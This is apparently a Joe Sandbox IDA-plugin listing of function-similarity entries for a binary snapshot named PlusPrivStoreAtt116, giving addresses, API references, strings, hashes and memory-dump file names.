Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemallocmemcpy
String ID: TRUE
API String ID: 3056473165-3412697401
Opcode ID: 336f45e28875de01f45820a47226f16eb8b9e84abcdede310df3c5d974aec670
Instruction ID: 047f84463708061eee1b1b1e035ea5761df3ceb4e0ec2ddf1173bd5f54e723d1
Opcode Fuzzy Hash: 336f45e28875de01f45820a47226f16eb8b9e84abcdede310df3c5d974aec670
Instruction Fuzzy Hash: DD219D66F4964644FF868A1796243762BA2AF44BF8F244532EE1D877C6DEBDE081C300

Function 00007FF6029C0B50 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2
memcpy.VCRUNTIME140 ref: 00007FF6029C0BDD

Part of subcall function 00007FF6029B5F30: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029B5F45

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0C12

Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6067
Part of subcall function 00007FF6029B6040: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C0640,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029B2471), ref: 00007FF6029B6073

Strings

%s:, xrefs: 00007FF6029C0BBC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$memcpy
String ID: %s:
API String ID: 901724546-64597662
Opcode ID: 61839cf820ee26bdbc720f1c9909bf687cfb3aa2dbcaeb3c9d2cc2500a4ac5e6
Instruction ID: 11479806d351ef9c59fdf08ebb862aa9cd577aa49c3add0d6cc26dec981c65ae
Opcode Fuzzy Hash: 61839cf820ee26bdbc720f1c9909bf687cfb3aa2dbcaeb3c9d2cc2500a4ac5e6
Instruction Fuzzy Hash: CE21B132A08A8581DB10CF12E9542AA7BA4FF94FE8F680536EE5D87396DF7CD445C340

Function 00007FF6029F9961 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F999C
memcpy.VCRUNTIME140 ref: 00007FF6029F99C2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9B06

Strings

%s: %s, xrefs: 00007FF6029F9AF1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemallocmemcpy
String ID: %s: %s
API String ID: 3056473165-1451338302
Opcode ID: 7cfbac40d2993e23082487febe9cd17f4b1f6e3b3c90134ddb700a0afe84ba68
Instruction ID: 35521c236a62141a2316bbec19a4e9502cd4f02ea2e2c6cf4d4b67569549f534
Opcode Fuzzy Hash: 7cfbac40d2993e23082487febe9cd17f4b1f6e3b3c90134ddb700a0afe84ba68
Instruction Fuzzy Hash: 5021CD61A0878285FEA19B17A5003B66A51BF84FE8F284132DE5D83BD6DEBCE4858300

Function 00007FF6029F79BA Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7E99

Strings

Start Date: %s, xrefs: 00007FF6029F7E87
Start Date, xrefs: 00007FF6029F7E6D
%s%lx, xrefs: 00007FF6029F7A15

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Start Date: %s$%s%lx$Start Date
API String ID: 1294909896-3519493645
Opcode ID: f38f39d28d763c906cd6ac280683388beb634bb2be022897d7e15e2632003d2a
Instruction ID: 07e4174ad4488649e8e4a83ed5c5a0171f00389161be2fab7c714af89e5a5412
Opcode Fuzzy Hash: f38f39d28d763c906cd6ac280683388beb634bb2be022897d7e15e2632003d2a
Instruction Fuzzy Hash: 1521CD51B0C28249EFE08B2694542FA6F92AF05B8CF645831E94EDB697EFADE5448300

Function 00007FF6029C9BED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 56stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A05
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A1F

Strings

I64, xrefs: 00007FF6029C9A15
I32, xrefs: 00007FF6029C99F5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: 1efe76ce29a72c0f3d7afe6176bb7ff5a977f40a999ee7b68d1f37e18de54606
Instruction ID: 971649c26aeaa52d7448b17df52f5a0681a9fade058a3d7013a1725618ec8755
Opcode Fuzzy Hash: 1efe76ce29a72c0f3d7afe6176bb7ff5a977f40a999ee7b68d1f37e18de54606
Instruction Fuzzy Hash: D321F632A0CA62C1FB648B22D4A07B97FD49F05F4CF295530CE4EC2296DE6CE604C750

Function 00007FF6029DC850 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC878
GetEnvironmentVariableA.KERNEL32(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC89E
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC8BF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C0DC9,?,?,?,?,00007FF6029C016B), ref: 00007FF6029DC8D0

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: realloc$EnvironmentVariablefree
String ID:
API String ID: 2828309815-0
Opcode ID: cabc26addc2401d9eb1a58dc0410cf863a4dbc7c9db6dab5f18b53f72baa0c0e
Instruction ID: 9392c13afd9f7ae0fc95eed5f5a9aca3aa2b738f59778d0962a4b67955c874f9
Opcode Fuzzy Hash: cabc26addc2401d9eb1a58dc0410cf863a4dbc7c9db6dab5f18b53f72baa0c0e
Instruction Fuzzy Hash: 0911A521B4DB4286EB608B13658463AAA91FF49FC8F280136DE4E83B45DFBCE440D740

Function 00007FF6029FDC30 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6029FDC6D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FDC7D
WideCharToMultiByte.KERNEL32 ref: 00007FF6029FDCAC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FDCB9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: 03c04eedff98bd114c8db373987edfe353b16d9b561a06dbe701af264d9b3090
Instruction ID: bd81b9bb095fcddc54ec59341500bd1ef825b541ab1964d085970538e4ff5c4a
Opcode Fuzzy Hash: 03c04eedff98bd114c8db373987edfe353b16d9b561a06dbe701af264d9b3090
Instruction Fuzzy Hash: 60116D35B09B4286E7509F62B84452A7BA0FF88F94B284438EF8D83B15DFBCE945C740

Function 00007FF6029D2270 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22CA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D22F3

Strings

Proxy-Connection: Keep-Alive, xrefs: 00007FF6029D2280

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Proxy-Connection: Keep-Alive
API String ID: 1294909896-2835282938
Opcode ID: 3a9a473e6be16dc48f278ee67881fb5fe137b81527da702573c6769a82dec04a
Instruction ID: fc1ffbb4205508405f3b16c63ceee1049f758d908f4a03c32a8ad7110ca4d42d
Opcode Fuzzy Hash: 3a9a473e6be16dc48f278ee67881fb5fe137b81527da702573c6769a82dec04a
Instruction Fuzzy Hash: A101C062F08B4182FB158B56A5503BAAAA0AF44BF4F144230DFAD473D6DFBCD885D350

Function 00007FF6029C9AE2 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 24stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A05
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C9A62

Strings

I64, xrefs: 00007FF6029C9A15
I32, xrefs: 00007FF6029C99F5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: fe5f275d4f1dc90b0e93ce1f2398f20e3a9ba4622a9a06e6e7a0640c655e5e6d
Instruction ID: c1d5a2e732b8d45b5c1bdbd44fca0e8073e1461b2364aadb4a0c82ff8cd7901d
Opcode Fuzzy Hash: fe5f275d4f1dc90b0e93ce1f2398f20e3a9ba4622a9a06e6e7a0640c655e5e6d
Instruction Fuzzy Hash: 44F08221B08952C1FF508B22D8E46752F989F49F8CF296531C91EC62D9CEACE201C321

Function 00007FF6029C9ADA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 24stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A05
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF6029C98B8), ref: 00007FF6029C9A1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C9A62

Strings

I64, xrefs: 00007FF6029C9A15
I32, xrefs: 00007FF6029C99F5

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: 34827df1c56d0facd60832e9dcd38fce5df00f1590e788b90f862e58f62967ac
Instruction ID: 90440d868f73cdab3a4956071008de4247ef26e984d5cb9c5d6bb24475d437da
Opcode Fuzzy Hash: 34827df1c56d0facd60832e9dcd38fce5df00f1590e788b90f862e58f62967ac
Instruction Fuzzy Hash: 2AF08221B0C952C1FF508B22D8E46752F989F49F8CF296531C91EC62D9CEADE201C321

Function 00007FF6029F1AD0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 227COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF6029C6E86), ref: 00007FF6029F1AE4

Strings

%lx, xrefs: 00007FF6029F1DCA

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _errno
String ID: %lx
API String ID: 2918714741-1448181948
Opcode ID: ba9884a06c4138e068495024de9439970d924469e1582dbbadeaf177498449b7
Instruction ID: 089e51fa60c2ea8a8620d18068d88a8612b54aa7aed504542e62ee521d5721b1
Opcode Fuzzy Hash: ba9884a06c4138e068495024de9439970d924469e1582dbbadeaf177498449b7
Instruction Fuzzy Hash: D0814D22A1C1D5C5E7E88A26945027F7FE0EF85798F244235FA9EC26D6DEBCD841CB40

Function 00007FF6029DD7F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?,00000000,00007FF6029DD1D3), ref: 00007FF6029DD8C2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?,00000000,00007FF6029DD1D3), ref: 00007FF6029DD913

Strings

(){ %*], xrefs: 00007FF6029DD80D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupmalloc
String ID: (){ %*]
API String ID: 3515966317-731572209
Opcode ID: a2d67765c7a5dc4ec3c005a88b734144e7937f55b09edc6cecbb18d84dfcb0d8
Instruction ID: bfa517f8195de148eae129d034e9695430c2712f188927ce65eb846446e1d4ad
Opcode Fuzzy Hash: a2d67765c7a5dc4ec3c005a88b734144e7937f55b09edc6cecbb18d84dfcb0d8
Instruction Fuzzy Hash: F2312913D4D68644FF624B2690503792FD29F56F5CFB84131DA8E832C7CE6EA905E221

Function 00007FF6029C9600 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C9620
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C967B

Strings

, xrefs: 00007FF6029C9633

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: mallocrealloc
String ID:
API String ID: 948496778-3916222277
Opcode ID: f007defbe466de477ca43de1dbeb36f93a3c148d42cae4483d77c4417899ba6d
Instruction ID: 68627c07c8d341a67d5d639730c3e44bc06342185a0e32a16d7aaacf845e54d3
Opcode Fuzzy Hash: f007defbe466de477ca43de1dbeb36f93a3c148d42cae4483d77c4417899ba6d
Instruction Fuzzy Hash: 80119372609B8181EB449F16E25027977A0FB08FD8F644535DE5E47789EF78D5A0C340

Function 00007FF6029C7920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

getsockopt.WS2_32 ref: 00007FF6029C799F
setsockopt.WS2_32 ref: 00007FF6029C79CE

Strings

@, xrefs: 00007FF6029C792F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: getsockoptsetsockopt
String ID: @
API String ID: 194641219-2726393805
Opcode ID: f6ec6453dcb4e67fffed1e8bcf1aefb452d83f39a6205ecab06ea16d42c783b9
Instruction ID: 38a2acea9b8ea0ce16a085e47fac5ec191cb565eeca51afe38fae65d1fb62615
Opcode Fuzzy Hash: f6ec6453dcb4e67fffed1e8bcf1aefb452d83f39a6205ecab06ea16d42c783b9
Instruction Fuzzy Hash: A7116D71A0828286F724CF51E4556BABBA0EF84758F740430DA9986AA5DFFDE589CF00

Function 00007FF6029FA3D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029FA3DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA7CF

Strings

TRUE, xrefs: 00007FF6029FA7D9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: TRUE
API String ID: 1865132094-3412697401
Opcode ID: 3eb87d98ead6b4b41aa3a49ae51076edf6b329d4f89bb2bede70efb61867991e
Instruction ID: a5ce77d9349decf183a31daea749b76b22c07e6299a4774a1b5d3d16cb4d310a
Opcode Fuzzy Hash: 3eb87d98ead6b4b41aa3a49ae51076edf6b329d4f89bb2bede70efb61867991e
Instruction Fuzzy Hash: 21015266F4965684FB82CB16E51037A2F62BF04BECF644832DE0E86795DEBCD081C310

Function 00007FF6029F96E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F96EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9B06

Part of subcall function 00007FF6029C0B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2

Strings

%s: %s, xrefs: 00007FF6029F9AF1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfreemalloc
String ID: %s: %s
API String ID: 3985033223-1451338302
Opcode ID: 59a004d23c9a7171389107e4b7ac2ba63d9e7849cde71739f0039903f637d0dc
Instruction ID: 5f4d248649566d9c146afb9ce4ecb3c1c7ad849bcc146eb773a529e9d8f26da7
Opcode Fuzzy Hash: 59a004d23c9a7171389107e4b7ac2ba63d9e7849cde71739f0039903f637d0dc
Instruction Fuzzy Hash: FBF04F51A0C78285FBB19B53A8007BA6B50AF85B98F680436DE4E97756DFACE185C700

Function 00007FF6029FDB80 Relevance: 5.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6029F0CB8), ref: 00007FF6029FDBB1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF6029F0CB8), ref: 00007FF6029FDBC4
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6029F0CB8), ref: 00007FF6029FDBEB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF6029F0CB8), ref: 00007FF6029FDBF8

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

